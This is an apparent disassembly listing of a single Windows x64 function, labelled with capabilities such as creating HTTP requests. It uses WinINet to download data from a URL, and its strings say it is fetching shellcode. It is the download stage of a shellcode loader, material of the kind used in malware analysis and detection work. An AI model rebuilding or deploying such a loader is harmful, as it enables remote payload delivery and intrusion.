Function at 0x140002c1e
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0xa0
lea rbp, [rsp + 0xa0]
mov qword [rbp + 0x20], rcx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.WinInet_Example
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenW]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002ca0
lea rax, str.____Failed_to_initialize_WinINet.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x140002f15
lea rax, [rbp - 0x2a]
mov qword [rbp - 0x18], rax
nop
nop
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::end__
mov rbx, rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::begin__
mov rdx, rax
lea rcx, [rbp - 0x2a]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__normal_i
lea rax, [rbp - 0x2a]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov rdx, rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlW]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140002d77
lea rax, str.____Failed_to_connect_to_URL.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x140002f09
lea rax, [rbp - 0x29]
mov qword [rbp - 0x20], rax
nop
nop
lea rdx, [rbp - 0x29]
lea rax, [rbp - 0x70]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_unsigned_long_long__std::allocator_unsigned_char__const_
lea rax, [rbp - 0x29]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov ebx, eax
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
lea rcx, [rbp - 0x30]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140002de8
mov eax, dword [rbp - 0x30]
test eax, eax
jne 0x140002def
mov eax, 1
jmp 0x140002df4
mov eax, 0
test al, al
je 0x140002e4d
lea rax, str.____Failed_to_download_shellcode.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x140002efd
mov rax, qword [rbp + 0x20]
lea rbx, [rax + 0x20]
mov eax, dword [rbp - 0x30]
mov esi, eax
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x28]
mov rdx, rsi
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char_____.operator_long_long__const
mov rsi, rax
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov r8, rsi
mov rdx, rax
mov rcx, rbx
call method.void_std::vector_unsigned_char__std::allocator_unsigned_char___::assign___gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std.allocator_unsigned_char_______void____gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigne
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp + 0x20]
mov dword [rax + 0x38], edx
lea rax, str.___Shellcode_downloaded__bytes_read:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 0x30]
mov edx, eax
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140008d50]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 1
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.140005980
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x140002f71
add rsp, 0xa0
pop rbx
pop rsi
pop rbp
ret